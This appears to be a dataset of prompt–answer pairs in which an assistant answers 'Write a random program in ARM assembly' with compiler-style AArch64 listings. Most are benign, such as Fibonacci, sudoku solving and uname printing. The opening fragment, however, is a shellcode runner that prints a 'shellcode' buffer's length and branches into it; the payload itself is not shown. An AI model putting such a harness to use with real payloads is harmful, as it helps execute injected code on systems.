add x0, x0, :lo12:shellcode
bl strlen
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
adrp x0, shellcode
add x0, x0, :lo12:shellcode
blr x0
mov w0, 0
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "%d "
.align 3
.LC1:
.string "%d"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
mov x12, 20048
sub sp, sp, x12
.cfi_def_cfa_offset 20048
stp x29, x30, [sp]
.cfi_offset 29, -20048
.cfi_offset 30, -20040
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 20040]
mov x1, 0
str wzr, [sp, 36]
add x0, sp, 28
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
str wzr, [sp, 32]
b .L2
.L3:
add x1, sp, 40
ldrsw x0, [sp, 32]
lsl x0, x0, 2
add x0, x1, x0
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L2:
ldr w0, [sp, 28]
ldr w1, [sp, 32]
cmp w1, w0
blt .L3
str wzr, [sp, 32]
b .L4
.L5:
ldr w1, [sp, 28]
ldr w0, [sp, 32]
add w0, w0, 1
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 40
ldr w0, [x1, x0]
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L4:
ldr w0, [sp, 28]
ldr w1, [sp, 32]
cmp w1, w0
blt .L5
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 20040]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L7
bl __stack_chk_fail
.L7:
mov w0, w1
ldp x29, x30, [sp]
mov x12, 20048
add sp, sp, x12
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global fibR
.type fibR, %function
fibR:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -32
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 1
bgt .L2
ldr w0, [sp, 44]
b .L3
.L2:
ldr w0, [sp, 44]
sub w0, w0, #2
bl fibR
mov w19, w0
ldr w0, [sp, 44]
sub w0, w0, #1
bl fibR
add w0, w19, w0
.L3:
ldr x19, [sp, 16]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size fibR, .-fibR
.section .rodata
.align 3
.LC0:
.string "fib: %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
mov w0, 34
str w0, [sp, 28]
ldr w0, [sp, 28]
bl fibR
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global un
.bss
.align 3
.type un, %object
.size un, 390
un:
.zero 390
.section .rodata
.align 3
.LC0:
.string "Uname: %s %s %s %s %s %s\n"
.text
.align 2
.global test_uname
.type test_uname, %function
test_uname:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, __func__.0
add x0, x0, :lo12:__func__.0
bl TEST_START
adrp x0, un
add x0, x0, :lo12:un
bl uname
str w0, [sp, 28]
ldr w0, [sp, 28]
mvn w0, w0
lsr w0, w0, 31
and w0, w0, 255
bl assert
adrp x0, un+325
add x6, x0, :lo12:un+325
adrp x0, un+260
add x5, x0, :lo12:un+260
adrp x0, un+195
add x4, x0, :lo12:un+195
adrp x0, un+130
add x3, x0, :lo12:un+130
adrp x0, un+65
add x2, x0, :lo12:un+65
adrp x0, un
add x1, x0, :lo12:un
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
adrp x0, __func__.0
add x0, x0, :lo12:__func__.0
bl TEST_END
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size test_uname, .-test_uname
.align 2
.global main
.type main, %function
main:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl test_uname
mov w0, 0
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size main, .-main
.section .rodata
.align 3
.type __func__.0, %object
.size __func__.0, 11
__func__.0:
.string "test_uname"
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Den unika: %d\n"
.text
.align 2
.global parse
.type parse, %function
parse:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 104]
mov x1, 0
str wzr, [sp, 52]
mov w0, 1
str w0, [sp, 56]
add x0, sp, 88
mov x2, 10
mov w1, 0
bl memset
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
ldr x0, [sp, 40]
str x0, [sp, 80]
b .L2
.L3:
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
.L2:
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 32
bne .L3
ldr x1, [sp, 40]
ldr x0, [sp, 80]
sub x0, x1, x0
mov x1, x0
add x0, sp, 88
mov x2, x1
ldr x1, [sp, 80]
bl strncpy
add x0, sp, 88
bl atoi
str w0, [sp, 60]
add x0, sp, 88
mov x2, 10
mov w1, 0
bl memset
b .L4
.L5:
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
.L4:
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 64
bne .L5
ldr x0, [sp, 40]
add x0, x0, 2
str x0, [sp, 40]
ldr x0, [sp, 40]
str x0, [sp, 80]
b .L6
.L7:
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
.L6:
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 44
bne .L7
ldr x1, [sp, 40]
ldr x0, [sp, 80]
sub x0, x1, x0
mov x1, x0
add x0, sp, 88
mov x2, x1
ldr x1, [sp, 80]
bl strncpy
add x0, sp, 88
bl atoi
str w0, [sp, 64]
add x0, sp, 88
mov x2, 10
mov w1, 0
bl memset
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
ldr x0, [sp, 40]
str x0, [sp, 80]
b .L8
.L9:
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
.L8:
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 58
bne .L9
ldr x1, [sp, 40]
ldr x0, [sp, 80]
sub x0, x1, x0
mov x1, x0
add x0, sp, 88
mov x2, x1
ldr x1, [sp, 80]
bl strncpy
add x0, sp, 88
bl atoi
str w0, [sp, 68]
add x0, sp, 88
mov x2, 10
mov w1, 0
bl memset
ldr x0, [sp, 40]
add x0, x0, 2
str x0, [sp, 40]
ldr x0, [sp, 40]
str x0, [sp, 80]
b .L10
.L11:
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
.L10:
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 120
bne .L11
ldr x1, [sp, 40]
ldr x0, [sp, 80]
sub x0, x1, x0
mov x1, x0
add x0, sp, 88
mov x2, x1
ldr x1, [sp, 80]
bl strncpy
add x0, sp, 88
bl atoi
str w0, [sp, 72]
add x0, sp, 88
mov x2, 10
mov w1, 0
bl memset
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
ldr x0, [sp, 40]
str x0, [sp, 80]
b .L12
.L13:
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
.L12:
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 0
bne .L13
ldr x1, [sp, 40]
ldr x0, [sp, 80]
sub x0, x1, x0
mov x1, x0
add x0, sp, 88
mov x2, x1
ldr x1, [sp, 80]
bl strncpy
add x0, sp, 88
bl atoi
str w0, [sp, 76]
ldr w0, [sp, 28]
cmp w0, 0
bne .L14
ldr x4, [sp, 32]
ldr w3, [sp, 68]
ldr w2, [sp, 64]
ldr w1, [sp, 76]
ldr w0, [sp, 72]
bl upg1
b .L22
.L14:
mov w0, 1
str w0, [sp, 56]
str wzr, [sp, 48]
b .L16
.L20:
str wzr, [sp, 52]
b .L17
.L19:
ldr w1, [sp, 48]
ldr w0, [sp, 68]
add w0, w1, w0
sxtw x1, w0
mov x0, x1
lsl x0, x0, 5
sub x0, x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 5
mov x1, x0
ldr x0, [sp, 32]
add x0, x0, x1
ldr w2, [sp, 52]
ldr w1, [sp, 64]
add w1, w2, w1
sxtw x1, w1
ldr w0, [x0, x1, lsl 2]
cmp w0, 1
beq .L18
str wzr, [sp, 56]
.L18:
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L17:
ldr w1, [sp, 52]
ldr w0, [sp, 72]
cmp w1, w0
blt .L19
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L16:
ldr w1, [sp, 48]
ldr w0, [sp, 76]
cmp w1, w0
blt .L20
ldr w0, [sp, 56]
cmp w0, 1
bne .L22
ldr w1, [sp, 60]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
.L22:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 104]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L21
bl __stack_chk_fail
.L21:
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size parse, .-parse
.align 2
.global upg1
.type upg1, %function
upg1:
.LFB1:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str w0, [sp, 28]
str w1, [sp, 24]
str w2, [sp, 20]
str w3, [sp, 16]
str x4, [sp, 8]
str wzr, [sp, 44]
str wzr, [sp, 40]
b .L24
.L27:
str wzr, [sp, 44]
b .L25
.L26:
ldr w1, [sp, 40]
ldr w0, [sp, 16]
add w0, w1, w0
sxtw x1, w0
mov x0, x1
lsl x0, x0, 5
sub x0, x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 5
mov x1, x0
ldr x0, [sp, 8]
add x0, x0, x1
ldr w2, [sp, 44]
ldr w1, [sp, 20]
add w3, w2, w1
sxtw x1, w3
ldr w1, [x0, x1, lsl 2]
add w2, w1, 1
sxtw x1, w3
str w2, [x0, x1, lsl 2]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L25:
ldr w1, [sp, 44]
ldr w0, [sp, 28]
cmp w1, w0
blt .L26
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L24:
ldr w1, [sp, 40]
ldr w0, [sp, 24]
cmp w1, w0
blt .L27
nop
nop
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size upg1, .-upg1
.section .rodata
.align 3
.LC1:
.string "input.txt"
.align 3
.LC2:
.string "r"
.align 3
.LC3:
.string "error opening: %s\n"
.align 3
.LC4:
.string "Claimed squares: %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB2:
.cfi_startproc
sub x12, sp, #3997696
.cfi_def_cfa 12, 3997696
.LPSRL0:
sub sp, sp, 65536
str xzr, [sp, 1024]
cmp sp, x12
b.ne .LPSRL0
.cfi_def_cfa_register 31
sub sp, sp, #3360
.cfi_def_cfa_offset 4001056
stp x29, x30, [sp]
.cfi_offset 29, -4001056
.cfi_offset 30, -4001048
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x1, sp, 3997696
ldr x2, [x0]
str x2, [x1, 3352]
mov x2, 0
str wzr, [sp, 28]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
str x0, [sp, 32]
str wzr, [sp, 20]
b .L29
.L32:
str wzr, [sp, 24]
b .L30
.L31:
ldrsw x2, [sp, 24]
ldrsw x1, [sp, 20]
mov x0, x1
lsl x0, x0, 5
sub x0, x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 2
add x1, sp, 48
str wzr, [x1, x0]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L30:
ldr w0, [sp, 24]
cmp w0, 999
ble .L31
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L29:
ldr w0, [sp, 20]
cmp w0, 999
ble .L32
adrp x0, .LC2
add x1, x0, :lo12:.LC2
ldr x0, [sp, 32]
bl fopen
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bne .L34
ldr x1, [sp, 32]
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
b .L34
.L35:
add x1, sp, 48
add x0, sp, 3997696
add x0, x0, 2352
mov w2, 0
bl parse
.L34:
add x0, sp, 3997696
add x0, x0, 2352
ldr x2, [sp, 40]
mov w1, 1000
bl fgets
cmp x0, 0
bne .L35
ldr x0, [sp, 40]
bl fclose
str wzr, [sp, 20]
b .L36
.L40:
str wzr, [sp, 24]
b .L37
.L39:
ldrsw x2, [sp, 24]
ldrsw x1, [sp, 20]
mov x0, x1
lsl x0, x0, 5
sub x0, x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 3
add x0, x0, x2
lsl x0, x0, 2
add x1, sp, 48
ldr w0, [x1, x0]
cmp w0, 1
ble .L38
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L38:
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L37:
ldr w0, [sp, 24]
cmp w0, 999
ble .L39
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L36:
ldr w0, [sp, 20]
cmp w0, 999
ble .L40
adrp x0, .LC2
add x1, x0, :lo12:.LC2
ldr x0, [sp, 32]
bl fopen
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bne .L42
ldr x1, [sp, 32]
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
b .L42
.L43:
add x1, sp, 48
add x0, sp, 3997696
add x0, x0, 2352
mov w2, 1
bl parse
.L42:
add x0, sp, 3997696
add x0, x0, 2352
ldr x2, [sp, 40]
mov w1, 1000
bl fgets
cmp x0, 0
bne .L43
ldr w1, [sp, 28]
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
ldr x0, [sp, 40]
bl fclose
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x3, sp, 3997696
ldr x4, [x3, 3352]
ldr x2, [x0]
subs x4, x4, x2
mov x2, 0
beq .L45
bl __stack_chk_fail
.L45:
mov w0, w1
ldp x29, x30, [sp]
.cfi_restore 29
.cfi_restore 30
add sp, sp, 3360
.cfi_def_cfa_offset 3997696
add sp, sp, 3997696
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
add x1, sp, 28
add x0, sp, 24
bl reader
str x0, [sp, 32]
ldr w0, [sp, 24]
ldr w1, [sp, 28]
ldr x2, [sp, 32]
bl print_sudoku
ldr w0, [sp, 24]
ldr w1, [sp, 28]
ldr x2, [sp, 32]
bl solve
ldr w0, [sp, 24]
ldr w1, [sp, 28]
ldr x2, [sp, 32]
bl print_sudoku
ldr x0, [sp, 32]
bl free_sudoku
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L3
bl __stack_chk_fail
.L3:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.align 3
.LC0:
.string "%d %d"
.align 3
.LC1:
.string "%d"
.text
.align 2
.global reader
.type reader, %function
reader:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
add x1, sp, 48
add x0, sp, 44
mov x2, x1
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
ldr w0, [sp, 44]
sxtw x1, w0
ldr w0, [sp, 48]
sxtw x0, w0
mul x0, x1, x0
lsl x0, x0, 3
bl malloc
str x0, [sp, 56]
ldr w0, [sp, 44]
sxtw x1, w0
ldr w0, [sp, 48]
sxtw x0, w0
mul x1, x1, x0
ldr w0, [sp, 44]
sxtw x0, w0
mul x1, x1, x0
ldr w0, [sp, 48]
sxtw x0, w0
mul x0, x1, x0
lsl x0, x0, 2
bl malloc
str x0, [sp, 64]
str wzr, [sp, 52]
b .L5
.L6:
ldr w1, [sp, 44]
ldr w0, [sp, 52]
mul w1, w1, w0
ldr w0, [sp, 48]
mul w0, w1, w0
sxtw x0, w0
lsl x1, x0, 2
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x2, [sp, 56]
add x0, x2, x0
ldr x2, [sp, 64]
add x1, x2, x1
str x1, [x0]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L5:
ldr w1, [sp, 44]
ldr w0, [sp, 48]
mul w0, w1, w0
ldr w1, [sp, 52]
cmp w1, w0
blt .L6
str wzr, [sp, 52]
b .L7
.L8:
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 64]
add x0, x1, x0
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L7:
ldr w1, [sp, 44]
ldr w0, [sp, 48]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 48]
mul w0, w1, w0
ldr w1, [sp, 52]
cmp w1, w0
blt .L8
ldr w1, [sp, 44]
ldr x0, [sp, 24]
str w1, [x0]
ldr w1, [sp, 48]
ldr x0, [sp, 16]
str w1, [x0]
ldr x0, [sp, 56]
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 72]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L10
bl __stack_chk_fail
.L10:
mov x0, x1
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size reader, .-reader
.align 2
.global free_sudoku
.type free_sudoku, %function
free_sudoku:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
ldr x0, [x0]
bl free
ldr x0, [sp, 24]
bl free
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size free_sudoku, .-free_sudoku
.section .rodata
.align 3
.LC2:
.string "%d %d\n"
.align 3
.LC3:
.string "%d "
.align 3
.LC4:
.string "%d\n"
.text
.align 2
.global print_sudoku
.type print_sudoku, %function
print_sudoku:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
str w1, [sp, 24]
str x2, [sp, 16]
ldr w2, [sp, 24]
ldr w1, [sp, 28]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
str wzr, [sp, 40]
b .L13
.L16:
str wzr, [sp, 44]
b .L14
.L15:
ldrsw x0, [sp, 40]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L14:
ldr w1, [sp, 28]
ldr w0, [sp, 24]
mul w0, w1, w0
sub w0, w0, #1
ldr w1, [sp, 44]
cmp w1, w0
blt .L15
ldrsw x0, [sp, 40]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L13:
ldr w1, [sp, 28]
ldr w0, [sp, 24]
mul w0, w1, w0
ldr w1, [sp, 40]
cmp w1, w0
blt .L16
nop
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size print_sudoku, .-print_sudoku
.align 2
.global solve
.type solve, %function
solve:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 28]
str w1, [sp, 24]
str x2, [sp, 16]
str wzr, [sp, 32]
str wzr, [sp, 36]
b .L18
.L21:
ldrsw x0, [sp, 32]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x1, [x0]
ldrsw x0, [sp, 36]
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
cmp w0, 0
beq .L42
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
ldr w1, [sp, 28]
ldr w0, [sp, 24]
mul w0, w1, w0
ldr w1, [sp, 36]
cmp w1, w0
bne .L18
str wzr, [sp, 36]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L18:
ldr w1, [sp, 28]
ldr w0, [sp, 24]
mul w0, w1, w0
ldr w1, [sp, 32]
cmp w1, w0
blt .L21
b .L20
.L42:
nop
.L20:
ldr w1, [sp, 28]
ldr w0, [sp, 24]
mul w0, w1, w0
ldr w1, [sp, 32]
cmp w1, w0
blt .L22
mov w0, 1
b .L23
.L22:
mov w0, 1
str w0, [sp, 40]
b .L24
.L41:
mov w0, 1
str w0, [sp, 48]
str wzr, [sp, 44]
b .L25
.L30:
ldrsw x0, [sp, 32]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x1, [x0]
ldrsw x0, [sp, 44]
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
bne .L26
ldr w1, [sp, 44]
ldr w0, [sp, 36]
cmp w1, w0
bne .L27
.L26:
ldrsw x0, [sp, 44]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x1, [x0]
ldrsw x0, [sp, 36]
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
bne .L28
ldr w1, [sp, 32]
ldr w0, [sp, 44]
cmp w1, w0
beq .L28
.L27:
str wzr, [sp, 48]
b .L29
.L28:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L25:
ldr w1, [sp, 28]
ldr w0, [sp, 24]
mul w0, w1, w0
ldr w1, [sp, 44]
cmp w1, w0
blt .L30
.L29:
ldr w0, [sp, 48]
cmp w0, 0
beq .L31
ldr w1, [sp, 32]
ldr w0, [sp, 28]
sdiv w0, w1, w0
ldr w1, [sp, 28]
mul w0, w1, w0
str w0, [sp, 56]
ldr w1, [sp, 36]
ldr w0, [sp, 24]
sdiv w0, w1, w0
ldr w1, [sp, 24]
mul w0, w1, w0
str w0, [sp, 60]
str wzr, [sp, 44]
b .L32
.L39:
ldr w1, [sp, 56]
ldr w0, [sp, 44]
add w0, w1, w0
ldr w1, [sp, 32]
cmp w1, w0
beq .L43
str wzr, [sp, 52]
b .L35
.L38:
ldr w1, [sp, 60]
ldr w0, [sp, 52]
add w0, w1, w0
ldr w1, [sp, 36]
cmp w1, w0
beq .L44
ldr w1, [sp, 56]
ldr w0, [sp, 44]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x1, [x0]
ldr w2, [sp, 60]
ldr w0, [sp, 52]
add w0, w2, w0
sxtw x0, w0
lsl x0, x0, 2
add x0, x1, x0
ldr w0, [x0]
ldr w1, [sp, 40]
cmp w1, w0
bne .L37
str wzr, [sp, 48]
b .L34
.L44:
nop
.L37:
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L35:
ldr w1, [sp, 52]
ldr w0, [sp, 24]
cmp w1, w0
blt .L38
b .L34
.L43:
nop
.L34:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L32:
ldr w0, [sp, 48]
cmp w0, 0
beq .L31
ldr w1, [sp, 44]
ldr w0, [sp, 28]
cmp w1, w0
blt .L39
.L31:
ldr w0, [sp, 48]
cmp w0, 0
beq .L40
ldrsw x0, [sp, 32]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x1, [x0]
ldrsw x0, [sp, 36]
lsl x0, x0, 2
add x0, x1, x0
ldr w1, [sp, 40]
str w1, [x0]
ldr x2, [sp, 16]
ldr w1, [sp, 24]
ldr w0, [sp, 28]
bl solve
cmp w0, 0
beq .L40
mov w0, 1
b .L23
.L40:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L24:
ldr w1, [sp, 28]
ldr w0, [sp, 24]
mul w0, w1, w0
ldr w1, [sp, 40]
cmp w1, w0
ble .L41
ldrsw x0, [sp, 32]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x1, [x0]
ldrsw x0, [sp, 36]
lsl x0, x0, 2
add x0, x1, x0
str wzr, [x0]
mov w0, 0
.L23:
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size solve, .-solve
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "%d %d %d %d \n"
.align 3
.LC1:
.string "%c %d\n"
.align 3
.LC2:
.string "%f %f\n"
.align 3
.LC3:
.string "%.3f\n"
.align 3
.LC4:
.string "%f %f %f\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str wzr, [sp, 32]
ldr w4, [sp, 32]
ldr w3, [sp, 44]
ldr w2, [sp, 40]
ldr w1, [sp, 36]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, 65
strb w0, [sp, 31]
ldrb w0, [sp, 31]
ldrb w1, [sp, 31]
mov w2, w1
mov w1, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
mov w0, 4059
movk w0, 0x4049, lsl 16
fmov s0, w0
str s0, [sp, 48]
adrp x0, .LC5
ldr d0, [x0, #:lo12:.LC5]
str d0, [sp, 56]
ldr s0, [sp, 48]
fcvt d0, s0
ldr d1, [sp, 56]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
ldr d0, [sp, 56]
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
adrp x0, .LC6
ldr d0, [x0, #:lo12:.LC6]
str d0, [sp, 64]
